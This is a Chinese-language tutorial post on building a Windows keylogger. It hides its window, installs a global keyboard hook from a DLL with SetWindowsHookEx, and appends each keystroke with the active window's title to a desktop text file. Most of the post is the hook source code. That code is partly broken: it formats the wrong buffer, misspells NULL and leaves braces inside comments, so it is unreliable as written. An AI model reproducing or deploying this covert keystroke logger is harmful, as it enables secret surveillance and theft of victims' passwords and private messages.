记一次键盘记录器的编写
新建win32项目
键盘记录器的思路
1.窗口消息处理的框架
一注册窗口类
MyRegisterClass
二实例化并创建窗口
InitInstance
三处理窗口消息
WndProc
2.改造窗口,让它隐藏
3.1 WM_CREATE是窗口创建函数
3.2 WM_DESTROY是窗口关闭函数
建立之初,程序默认窗口是显示的,所以会建立一个ShowWindow(hWnd, nCmdShow);
我们要让他隐藏,那就要改第二个参数ShowWindow(hWnd, SW_HIDE);
3.让这个程序运行起来了就开始监控按键操作,程序结束了就结束监控.
那么我们怎么知道程序什么时刻运行起来了呢,我们是根据其窗口的创建与关闭来判断
在建立项目之初,他没有帮我们写WM_CREATE函数,所以在处理窗口消息部分WndProc 中写入case WM_CREATE:
…………………… //这一部分就是窗口建立之后所运行的程序,我们在这一部分就
开始
//写我们所要实现的记录功能,我们称之为钩子函数。
以下为建立钩子程序
这个函数我们要在解决方案里重新新建一个空项目keyhook,后选择动态程序dll(动态加载,而不是
直接运行),实现这个功能,我们只要在这里调用函数即可
在建立keyhook项目完成后要新建一个头文件和cpp文件,来实现钩子的功能
接下来在头文件自己定义两个函数来启动钩子bool installhook(); 和关闭钩子bool uninstallhook(); 并且复制到cpp文件中,
注意:要让其他文件用到这两个函数,必须要在头文件中将两个函数改写成
extern"C"_declspec(dllexport) bool installhook();
“C”是指这是c语言代码
_declspec是一个函数
dllexport参数是动态库导出
要在键盘记录器的cpp文件中使用这两个函数,所以要包含其头文件,注意,由于所要包含的是一个动态库,所以是#pragma comment(lib,"keyhook"),而不是以前的#include,除此之外还要导入动态库中的函数,也就是将函数在声明一遍,记住要改dllexport成dllimport,因为这是导入,不是导出,如下
#pragma comment(lib,"keyhook")//导入动态库
//导入动态库中的函数
//启动钩子
extern"C"_declspec(dllimport) bool installhook(); //自己定义的函数
//关闭钩子
extern"C"_declspec(dllimport) bool uninstallhook();
然后就开始写钩子程序
要实现以下功能
//获取用户的按键消息
用到SetWindowsHookEx函数,要包含Windows.h的头文件
SetWindowsHookEx(WH_KEYBOARD,keyProc,GetModuleHandle(L"keyhook"),NULL);
第一个参数代表的是我们要获取键盘的消息
第二个参数就是自己定义的函数,就是监控这个消息之后你要做什么事情(在这里就是同时获取当前窗口的标题并同时获取当前按下的按键文本并保存到文件中),这个函数的类型是HOOKPROC,按下F12后是typedef LRESULT (CALLBACK* HOOKPROC)(int code, WPARAM wParam, LPARAM lParam);
在这里我们定义这个函数为keyProc来实现这两个功能但我们得要在头文件中声明这个函数,然后才能在cpp文件中使用
这个功能用如下程序来实现
LRESULT CALLBACK keyProc(int code, WPARAM wParam, LPARAM lParam){
char szWriteText[256]; //用来保存标题和文本
char szWindowTitle[256]; //保存标题
char szKeyText[256]; //保存文本
//并同时获取当前窗口的标题
HWND hwnd; //创建一个窗口的实例句柄
hwnd = ::GetActiveWindow();//让这个窗口句柄等于当前正在使用的窗口
if (hwnd == NULL)//如果拿不到串钩
{
hwnd = ::GetForegroundWindow();//令窗口等于最顶层窗口
if (hwnd == NULL)//如果还拿不到
{
return CallNextHookEx(g_hHook, code, wParam,lParam);//启动下一次钩取}
}
GetWindowTextA(hwnd, szWindowTitle, 256);//获取窗口文本语句
//并同时获取当前按下的按键文本
if (code < 0 || code == HC_NOREMOVE)//如果键按下了之后还没有弹起来
{
return CallNextHookEx(g_hHook, code, wParam, lParam);//启动下一次钩取}
if (lParam & 0x40000000)//代表一种异常情况
{
return CallNextHookEx(g_hHook, code, wParam, lParam);//启动下一次钩取}
GetKeyNameTextA(lParam, szKeyText, 256);//获取按键文本语句
sprintf(szWriteText, "%s:%s\r\n", szWindowTitle, szWriteText);
//吧拿到的文本放到文件中
FILE* fp = fopen("C:\\Users\\14612\\Desktop\\键盘记录器.txt","a");
if (fp == NULL)//打开文件失败
{
return CallNextHookEx(g_hHook, code, wParam, lParam);
}
fwrite(szWriteText, 1, strlen(szWriteText), fp);
fclose(fp);
return CallNextHookEx(g_hHook, code, wParam, lParam);
}
第三个参数是得到要调用当前应用程序的实例句柄GetModuleHandle是一个函数其作用是获得当前模块的实例句柄,其参数为当前函数的名字keyhook
对于SetWindowsHookEx(WH_KEYBOARD,keyProc,GetModuleHandle(L"keyhook"),NULL);
我们可以定义一个句柄来代表他,因为在其他的函数中可能要用到它
//并同时获取当前窗口的标题
g_hHook=SetWindowsHookEx(WH_KEYBOARD,keyProc,GetModuleHandle(L"keyhook"),NULL);
这个实例句柄的类型是HHOOK
所以我们要先定义
HHOOK g_hHook;
最终钩子的程序为
bool installhook(){
//获取用户的按键消息
g_hHook=SetWindowsHookEx(WH_KEYBOARD,keyProc,GetModuleHandle(L"keyhook"),NULL);
if (g_hHook == NUll)return false;
MessageBox(NULL, L"设置钩子成功!",L"提示", NULL);
return true;
//并同时获取当前窗口的标题
//并同时获取当前按下的按键文本
}
然后关闭钩子的程序
bool uninstallhook(){
return UnhookWindowsHookEx(g_hHook);
}
至此,钩子程序完成
然后在窗口建立之后调用钩子函数即可
3.1 WM_CREATE是窗口创建函数
3.2 WM_DESTROY是窗口关闭函数
case WM_DESTROY:
PostQuitMessage(0);
break;
3.3 创建动态库
3.3.1 新建DLL工程
3.3.2 动态库DLL中函数声明的同时导出
3.3.3 使用动态库的代码中要导入动态库并导入动态库中函数
4.拿到用户操作的窗口标题
5.拿到用户按键的字符